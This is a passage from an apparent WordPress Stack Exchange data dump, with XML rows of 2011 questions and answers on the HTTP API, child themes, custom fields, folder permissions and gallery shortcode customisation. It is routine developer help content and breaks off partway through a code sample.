  <row Id="23390" PostTypeId="1" AcceptedAnswerId="23451" CreationDate="2011-07-19T04:48:36.120" Score="1" ViewCount="38" Body="&lt;p&gt;I'm trying to work with an API that expects an XML string in the body of the post. Additionally, the docs for the API specify:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please post with mime-type text/xml with the XML in the body of the post &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want to use the WordPress HTTP API to make this work, but I'm running into some problems. So far I have code like the following that seems to be failing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'https://www.testurl.com';&#xA;$xml = &amp;lt;&amp;lt;&amp;lt;TESTED XML HERE&amp;gt;&amp;gt;&amp;gt;;&#xA;$response = wp_remote_post( &#xA;    $url, &#xA;    array(&#xA;        'method' =&amp;gt; 'POST',&#xA;        'timeout' =&amp;gt; 45,&#xA;        'redirection' =&amp;gt; 5,&#xA;        'httpversion' =&amp;gt; '1.0',&#xA;        'headers' =&amp;gt; array(&#xA;            'mime-type' =&amp;gt; 'text/xml'&#xA;        ),&#xA;        'body' =&amp;gt; array('xml' =&amp;gt; $xml),&#xA;        'sslverify' =&amp;gt; false&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, am I properly setting the mime-type and am I sending the XML in the right place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's surprisingly tough to find examples of the WordPress HTTP API utilizing XML requests.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-19T15:50:27.687" Title="Posting an XML request using HTTP API" Tags="&lt;http-api&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="23391" PostTypeId="2" ParentId="23351" CreationDate="2011-07-19T05:03:36.553" Score="0" ViewCount="" Body="&lt;p&gt;In theory, this should work just fine if you are putting the code directly into a theme file, and not into a post body or something. However, it is very dependent on your site's setup. Here are some things to watch out for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Permalink structure:&lt;/em&gt; if using GET requests to process the form, test to make sure they aren't getting overwritten or trashed by the .htaccess rules.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Reserved words:&lt;/em&gt; be careful not to use some variable names/terms that WordPress uses internally. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms&quot; rel=&quot;nofollow&quot;&gt;the Codex reference&lt;/a&gt; for a mostly complete list, and &lt;a href=&quot;http://wordpress.org/support/topic/reserved-wordsparams-list&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt; that gives some experiences with it. The best way to resolve it? Preface all of your form elements with a custom prefix, like &lt;code&gt;my_email_validation_xxxxx&lt;/code&gt; where xxxxx is the field you want.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Processing page:&lt;/em&gt; you may need to be creative on where the processing occurs to handle the form. It will be easiest to send this to a standalone PHP file not associated with WordPress to do the validation, and have that redirect to a normal WordPress page to continue the process.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-07-19T05:03:36.553" />
  <row Id="23392" PostTypeId="1" CreationDate="2011-07-19T05:18:16.950" Score="1" ViewCount="46" Body="&lt;p&gt;I have created a twenty-eleven child theme, I want to know if its possible to only load that child theme on certain pages, maybe with the custom page templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked via google and on here and have found nothing on the twenty-eleven or very outdated posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7125" LastActivityDate="2011-07-19T06:57:04.687" Title="Use child theme on certain pages and not others?" Tags="&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="23393" PostTypeId="1" AcceptedAnswerId="23461" CreationDate="2011-07-19T05:41:01.153" Score="0" ViewCount="11" Body="&lt;p&gt;Is it possible to set a page's parent to a Custom Link in the Pages--&gt; Parent Attributes panel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set it in  Appearance--&gt;Menus--&gt;Customs Links panel. I want some pages to be children of a Custom Link with the URL set to #.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/gecka-submenu/&quot; rel=&quot;nofollow&quot;&gt;Gecka Submenu&lt;/a&gt; plugin. If I have to set the Custom Link's child in the Appearance--&gt;Menus--&gt;Customs Links panel, then it defeats one of my reasons for using the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-19T16:37:23.373" Title="Is It Possible to Set a Page's Parent in Pages to a Custom Link" Tags="&lt;page-attributes&gt;" AnswerCount="1" />
  <row Id="23394" PostTypeId="1" CreationDate="2011-07-19T05:51:22.423" Score="0" ViewCount="29" Body="&lt;p&gt;I am looking to grab all of the custom post meta fields for a given post and display them on the page which i have accomplished with the following code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I would like to check if( !empty() ) the custom post meta values and not print any that are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other then that it should be pretty straight forward but I would appreciate the help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$custom_fields = get_post_custom();&#xA;    foreach ( $custom_fields as $field_key =&amp;gt; $field_values ) {&#xA;        if(!isset($field_values[0])) continue;&#xA;        if(in_array($field_key,array(&quot;hits&quot;,&quot;_wp_trash_meta_time&quot;,&quot;SKU&quot;,&quot;sub-category-2&quot;,&quot;sub-category-1&quot;,&quot;_wp_trash_meta_status&quot;,&quot;old_price&quot;,&quot;price&quot;,&quot;qty&quot;,&quot;additional_notes&quot;,&quot;buy_link&quot;,&quot;customlist1&quot;,&quot;customlist2&quot;,&quot;featured&quot;,&quot;image&quot;,&quot;images&quot;,&quot;_edit_lock&quot;,&quot;_edit_last&quot;,&quot;_thumbnail_id&quot;,&quot;_sexybookmarks_permaHash&quot;,&quot;_sexybookmarks_shortUrl&quot;))) continue;&#xA;    foreach ( $field_values as $key =&amp;gt; $value )                             &#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;' . $field_key . ':&amp;lt;/strong&amp;gt; ' . $value . '&amp;lt;/li&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7126" LastActivityDate="2011-08-18T08:26:20.303" Title="Display All Custom Post Fields and Values, Unless Empty" Tags="&lt;post-meta&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="23395" PostTypeId="2" ParentId="23136" CreationDate="2011-07-19T06:12:42.720" Score="0" ViewCount="" Body="&lt;p&gt;I've used this before to do more than what you need but if you remove the second taxonomy it'll list all posts in a given category for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                    // set up taxonomies&#xA;                    $tax_one = 'project_category';&#xA;                    $tax_two = 'brand';&#xA;                    $post_type = 'project';&#xA;&#xA;                    $categories = get_categories( array(&#xA;                        'type'                     =&amp;gt; $post_type,&#xA;                        'orderby'                  =&amp;gt; 'name',&#xA;                        'order'                    =&amp;gt; 'ASC',&#xA;                        'hide_empty'               =&amp;gt; 0,&#xA;                        'hierarchical'             =&amp;gt; 1,&#xA;                        'taxonomy'                 =&amp;gt; $tax_one ));&#xA;&#xA;                        foreach ( $categories as $category ) : // list all categories&#xA;&#xA;                            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_term_link( $category-&amp;gt;slug, $tax_one ).'&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;ul&amp;gt;'?&amp;gt;&#xA;&#xA;                                    &amp;lt;?php $terms = get_terms( $tax_two, array( 'hide_empty' =&amp;gt; 0 ) );&#xA;&#xA;                                            foreach ( $terms as $term ) :  // list all brands in each category&#xA;&#xA;                                                $myquery['tax_query'] = array(&#xA;                                                    array(&#xA;                                                        'taxonomy' =&amp;gt; $tax_one,&#xA;                                                        'terms' =&amp;gt; array($category-&amp;gt;slug),&#xA;                                                        'field' =&amp;gt; 'slug',&#xA;                                                    ),&#xA;                                                    array(&#xA;                                                        'taxonomy' =&amp;gt; $tax_two,&#xA;                                                        'terms' =&amp;gt; array($term-&amp;gt;slug),&#xA;                                                        'field' =&amp;gt; 'slug',&#xA;                                                    )&#xA;                                                        );&#xA;                                                $the_posts = new WP_Query($myquery);&#xA;&#xA;                                                if ( $the_posts-&amp;gt;have_posts() ) : // if there are posts in the current brand and category then display it&#xA;&#xA;                                                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_term_link( $term-&amp;gt;slug, $tax_two ).'&quot;&amp;gt;'.$term-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;                                                endif;&#xA;&#xA;                                            endforeach; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;                        endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so tweaking it for your situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                    // set up taxonomies&#xA;                    $tax_one = 'category';&#xA;                    $post_type = 'portfolio';&#xA;&#xA;                    $categories = get_categories( array(&#xA;                        'type'                     =&amp;gt; $post_type,&#xA;                        'orderby'                  =&amp;gt; 'name',&#xA;                        'order'                    =&amp;gt; 'ASC',&#xA;                        'hide_empty'               =&amp;gt; 0,&#xA;                        'hierarchical'             =&amp;gt; 1,&#xA;                        'taxonomy'                 =&amp;gt; $tax_one ));&#xA;&#xA;                        foreach ( $categories as $category ) : // list all categories&#xA;&#xA;                            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_term_link( $category-&amp;gt;slug, $tax_one ).'&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;ul&amp;gt;'?&amp;gt;&#xA;&#xA;                                    &amp;lt;?php $the_posts = new WP_Query($myquery);&#xA;&#xA;                                                if ( $the_posts-&amp;gt;have_posts() ) : // if there are posts in the current category then display it&#xA;&#xA;                                                foreach($the_posts as $post) :&#xA;&#xA;                                                    echo '&amp;lt;li&amp;gt;Your Post stuff here&amp;lt;/li&amp;gt;';&#xA;                                                endforeach;                                    &#xA;&#xA;&#xA;&#xA;                                                endif;&#xA;&#xA;                                            endforeach; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;                        endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not tested this at all but hope it helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-07-19T06:12:42.720" CommentCount="2" />
  <row Id="23396" PostTypeId="2" ParentId="23394" CreationDate="2011-07-19T06:33:02.023" Score="0" ViewCount="" Body="&lt;p&gt;Here is a better example and it also check for empty...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_meta_Function_Examples&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/post_meta_Function_Examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-19T06:33:02.023" />
  <row Id="23397" PostTypeId="1" AcceptedAnswerId="23400" CreationDate="2011-07-19T06:41:47.653" Score="0" ViewCount="22" Body="&lt;p&gt;I would like to just get the HTML that comments_popup_link generates, and echo it later on. I don't see the comments_popup_link has an &lt;code&gt;$echo&lt;/code&gt; parameter, and I don't see a get_comments_popup_link function, like there is get_the_ID, that &lt;em&gt;returns&lt;/em&gt; HTML istead of displaying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WordPress 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-19T07:02:34.053" Title="comments_popup_link without echo?" Tags="&lt;functions&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="23398" PostTypeId="2" ParentId="23306" CreationDate="2011-07-19T06:50:43.980" Score="2" ViewCount="" Body="&lt;p&gt;The way to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page&quot; rel=&quot;nofollow&quot;&gt;use is_page&lt;/a&gt; with multiple pages is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_page(array(42,'about-me','Contact'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to use the &lt;code&gt;array&lt;/code&gt; keyword&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-19T06:50:43.980" />
  <row Id="23399" PostTypeId="2" ParentId="23392" CreationDate="2011-07-19T06:57:04.687" Score="1" ViewCount="" Body="&lt;p&gt;you can use page templates for that if you have a page template within your them, and if its a different theme all together then you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/page-theme/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page Theme&lt;/strong&gt;&lt;/a&gt; which is a plugin that can be used to display a different &lt;strong&gt;theme&lt;/strong&gt; (not template) for each page/post of your blog.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-19T06:57:04.687" CommentCount="3" />
  <row Id="23400" PostTypeId="2" ParentId="23397" CreationDate="2011-07-19T07:02:34.053" Score="0" ViewCount="" Body="&lt;p&gt;I found this ticket that addresses my problem exactly:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/17763&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/17763&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-19T07:02:34.053" />
  <row Id="23401" PostTypeId="1" AcceptedAnswerId="23402" CreationDate="2011-07-19T07:07:43.427" Score="2" ViewCount="42" Body="&lt;p&gt;I found a patch I want here:&lt;br&gt;&#xA; &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17763&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/17763&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the &lt;em&gt;diff&lt;/em&gt;, but what do I do now? How can I get that code into my Wordpress? Do I have to copy it manually? Is there anywhere to download it from?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-19T07:18:46.097" Title="How to apply a patch?" Tags="&lt;patch&gt;" AnswerCount="1" />
  <row Id="23402" PostTypeId="2" ParentId="23401" CreationDate="2011-07-19T07:18:46.097" Score="2" ViewCount="" Body="&lt;p&gt;You can download the diff file from the bottom of the diff page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program to apply a diff is called &quot;patch&quot;. It's widely available for various platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example usages: &lt;a href=&quot;http://en.wikipedia.org/wiki/Patch_(Unix)#Usage_examples&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Patch_(Unix)#Usage_examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-19T07:18:46.097" CommentCount="1" />
  <row Id="23403" PostTypeId="2" ParentId="22935" CreationDate="2011-07-19T07:33:35.660" Score="1" ViewCount="" Body="&lt;p&gt;The &quot;right&quot; way obviously depends on the plugin. Some plugins are easier to edit than others, but most plugins can actually be modified by other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a plugin has a function hooked into WordPress with an action, then it's a simple matter for you to make another plugin that unhooks that function with remove_action, and then adds your replacement function in instead. This sort of method will let you replace individual functions in plugins with your own modified versions, without modifying the original plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same concept works with filters, obviously.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-19T07:33:35.660" />
  <row Id="23404" PostTypeId="2" ParentId="6909" CreationDate="2011-07-19T07:45:37.030" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a complete answer to your question, but possibly pointing you in the right direction: You could try &lt;code&gt;&amp;lt;?php esc_textarea( $text ) ?&amp;gt;&lt;/code&gt;, as detailed by the codex here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/esc_textarea&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/esc_textarea&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own metabox textarea snippets look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  if ( $meta_box['type'] == &quot;textarea&quot; ) {&#xA;    $meta_box_value = esc_textarea( get_post_meta($post-&amp;gt;ID, $meta_box['name'].'_value', true) );&#xA;    echo '&amp;lt;textarea class=&quot;meta-textarea&quot; style=&quot;width: 100%;&quot; cols=&quot;20&quot; rows=&quot;2&quot; name=&quot;' . $meta_box['name'] . '_value&quot;&amp;gt;' . $meta_box_value . '&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;';&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-07-19T07:45:37.030" />
  <row Id="23406" PostTypeId="2" ParentId="23378" CreationDate="2011-07-19T08:00:57.443" Score="0" ViewCount="" Body="&lt;p&gt;the function &lt;code&gt;the_meta()&lt;/code&gt; formats the data into an unordered list and you have no control over the order. Instead you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom()&lt;/code&gt;&lt;/a&gt; and echo out only the fields you want and in the order you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo(the_meta()); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $post_custom =  get_post_custom($post-&amp;gt;ID);&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;'.$post_custom['Height'].'&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;'.$post_custom['Fueled_By'].'&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;'.$post_custom['Favorite_Quote'].'&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;'.$post_custom['Areas_of_Expertise'].'&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the name of the fields to match yours.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-19T08:00:57.443" CommentCount="8" />
  <row Id="23407" PostTypeId="1" CreationDate="2011-07-19T08:05:02.653" Score="0" ViewCount="30" Body="&lt;p&gt;Hi I set up wordpress on a VPS and I'm running into two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Either WordPress asks for ftp details in order to update plugins or delete them&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Through FTP I cannot delete files as I get a permission denied error.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Problem 1 is solved by running:&#xA;sudo chown -R www-data public_html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 2 is solved by running:&#xA;sudo chown -R myusername public_html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solving one problem creates the other apparently. I want to be able to login with my user to ftp and modify anything, while I also want wordpress to be able to update plugins and such things. Am I doing something wrong? &lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-08-19T02:38:53.417" Title="WordPress folder ownership issues" Tags="&lt;permissions&gt;" AnswerCount="2" />
  <row Id="23408" PostTypeId="1" AcceptedAnswerId="23515" CreationDate="2011-07-19T08:40:57.657" Score="0" ViewCount="40" Body="&lt;p&gt;I am seeing that in the last 2 months blocked spam comments in Akismet have jumped from around 8k to more than 100k in each of the last two months. Is there any way to stop them being posted in the first place?&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-07-20T05:32:28.833" Title="Getting thousands of spam comments" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="23409" PostTypeId="1" CreationDate="2011-07-19T08:47:44.663" Score="0" ViewCount="121" Body="&lt;p&gt;I am trying to customize the output of the [gallery] shortcode to include comment count by this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-comments-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Facebook Comments for WordPress plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18603/facebook-comment-count&quot;&gt;function by Zack Austin&lt;/a&gt; (shown below) that retrieves the number of comments from the Facebook Graph. Furthermore, I found a piece of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4343/how-to-customise-the-output-of-the-wp-image-gallery-shortcode-from-a-plugin&quot;&gt;code by t31os&lt;/a&gt; (also shown below) that allows me to customize the output of the [gallery] shortcode. So therefore, I am trying to incorporate the Facebook comment count function into the customizable gallery code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I insert both pieces of code into my functions.php and call the function from one of my other page templates (&lt;code&gt;&amp;lt;?php echo fb_comment_count(); ?&amp;gt;&lt;/code&gt;), it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try calling the function from within functions.php, I get a &quot;0&quot; no matter how many comments there are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried debugging to check the value of $post inside the fb_comment_count function and it generates the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;id = 818 id = 818 id = 818 id = 818 id = 818 id = 818 id = 818 id = 818&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is wrong since each of those ids should be different for each of the attachment pages the image is on. 818 is the id of the entire gallery page itself. I suppose this is why I keep getting &quot;0&quot; for the comment count since the gallery page (id 818) itself has no comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give a better idea of what I'm trying to do, here is a template for the gallery page. Each of those images are linked to their respective attachment pages. The white box with the number inside is the comment count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/pZZ1z.jpg&quot; alt=&quot;gallery&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody can help me figure out how to retrieve the correct comment count for each of the images in the gallery, I'd be very grateful. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the fb_comment_count function by Zack Austin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// FB Comment Count (by Zack Austin)&#xA;function fb_comment_count($link = 'link') {&#xA;  global $post;&#xA;  $url = 'https://graph.facebook.com/';&#xA;  $posturl = get_permalink($post-&amp;gt;ID);&#xA;  $url .= $posturl;&#xA;&#xA;  $filecontent = wp_remote_retrieve_body(wp_remote_get($url, array('sslverify'=&amp;gt;false)));&#xA;  $json = json_decode($filecontent);&#xA;  $count = $json-&amp;gt;comments;&#xA;  if ($count == 0 || !isset($count)) {&#xA;    $count = 0;&#xA;  }&#xA;&#xA;  $comments = $count;&#xA;  if ($count == 1) {&#xA;    $comments .= '';&#xA;  }&#xA;  elseif ($count == 0) {&#xA;    $comments = '0';&#xA;  }&#xA;  elseif ($count &amp;gt; 1) {&#xA;    $comments .= '';&#xA;  }&#xA;  if ($link == 'nolink') {&#xA;    return $comments;&#xA;  }&#xA;  else {&#xA;    return '&amp;lt;a href=&quot;'.$posturl.'#comments&quot; title=&quot;Comments for '.$post-&amp;gt;post_title.'&quot;&amp;gt;'.$comments.'&amp;lt;/a&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the custom gallery code where I'm calling the fb_comment_count function above (about 22 lines from the bottom). Both the code below and the code above are in my functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Custom Gallery&#xA;add_filter( 'post_gallery', 'my_post_gallery', 10, 2 );&#xA;function my_post_gallery( $output, $attr) {&#xA;    global $post, $wp_locale;&#xA;&#xA;    static $instance = 0;&#xA;    $instance++;&#xA;&#xA;    // We're trusting author input, so let's at least make sure it looks like a valid orderby statement&#xA;    if ( isset( $attr['orderby'] ) ) {&#xA;        $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );&#xA;        if ( !$attr['orderby'] )&#xA;            unset( $attr['orderby'] );&#xA;    }&#xA;&#xA;    extract(shortcode_atts(array(&#xA;        'order'      =&amp;gt; 'ASC',&#xA;        'orderby'    =&amp;gt; 'menu_order ID',&#xA;        'id'         =&amp;gt; $post-&amp;gt;ID,&#xA;        'itemtag'    =&amp;gt; 'dl',&#xA;        'icontag'    =&amp;gt; 'dt',&#xA;        'captiontag' =&amp;gt; 'dd',&#xA;        'columns'    =&amp;gt; 3,&#xA;        'size'       =&amp;gt; 'thumbnail',&#xA;        'include'    =&amp;gt; '',&#xA;        'exclude'    =&amp;gt; ''&#xA;    ), $attr));&#xA;&#xA;    $id = intval($id);&#xA;    if ( 'RAND' == $order )&#xA;        $orderby = 'none';&#xA;&#xA;    if ( !empty($include) ) {&#xA;        $include = preg_replace( '/[^0-9,]+/', '', $include );&#xA;        $_attachments = get_posts( array('include' =&amp;gt; $include, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;&#xA;        $attachments = array();&#xA;        foreach ( $_attachments as $key =&amp;gt; $val ) {&#xA;            $attachments[$val-&amp;gt;ID] = $_attachments[$key];&#xA;        }&#xA;    } elseif ( !empty($exclude) ) {&#xA;        $exclude = preg_replace( '/[^0-9,]+/', '', $exclude );&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'exclude' =&amp;gt; $exclude, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    } else {&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    }&#xA;&#xA;    if ( empty($attachments) )&#xA;        return '';&#xA;&#xA;    if ( is_feed() ) {&#xA;        $output = &quot;\n&quot;;&#xA;        foreach ( $attachments as $att_id =&amp;gt; $attachment )&#xA;            $output .= wp_get_attachment_link($att_id, $size, true) . &quot;\n&quot;;&#xA;        return $output;&#xA;    }&#xA;&#xA;    $itemtag = tag_escape($itemtag);&#xA;    $captiontag = tag_escape($captiontag);&#xA;    $columns = intval($columns);&#xA;    $itemwidth = $columns &amp;gt; 0 ? floor(100/$columns) : 100;&#xA;    $float = is_rtl() ? 'right' : 'left';&#xA;&#xA;    $selector = &quot;gallery-{$instance}&quot;;&#xA;&#xA;    $output = apply_filters('gallery_style', &quot;&#xA;        &amp;lt;style type='text/css'&amp;gt;&#xA;            #{$selector} {&#xA;                margin: auto;&#xA;            }&#xA;            #{$selector} .gallery-item {&#xA;                float: {$float};&#xA;                margin-top: 10px;&#xA;                text-align: center;&#xA;                width: {$itemwidth}%;           }&#xA;            #{$selector} img {&#xA;                border: 2px solid #cfcfcf;&#xA;            }&#xA;            #{$selector} .gallery-caption {&#xA;                margin-left: 0;&#xA;            }&#xA;        &amp;lt;/style&amp;gt;&#xA;        &amp;lt;!-- see gallery_shortcode() in wp-includes/media.php --&amp;gt;&#xA;        &amp;lt;div id='$selector' class='gallery galleryid-{$id}'&amp;gt;&quot;);&#xA;&#xA;    $i = 0;&#xA;    foreach ( $attachments as $id =&amp;gt; $attachment ) {&#xA;        $link = isset($attr['link']) &amp;amp;&amp;amp; 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);&#xA;&#xA;        $output .= &quot;&amp;lt;{$itemtag} class='gallery-item'&amp;gt;&quot;;&#xA;        $output .= &quot;&amp;lt;span class='photos-comment-number-wrap'&amp;gt;&amp;lt;span class='comment-number'&amp;gt;&quot;. fb_comment_count() .&quot;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot;;&#xA;        $output .= &quot;&#xA;            &amp;lt;{$icontag} class='gallery-icon'&amp;gt;&#xA;                $link&#xA;            &amp;lt;/{$icontag}&amp;gt;&quot;;&#xA;        if ( $captiontag &amp;amp;&amp;amp; trim($attachment-&amp;gt;post_excerpt) ) {&#xA;            $output .= &quot;&#xA;                &amp;lt;{$captiontag} class='gallery-caption'&amp;gt;&#xA;                &quot; . 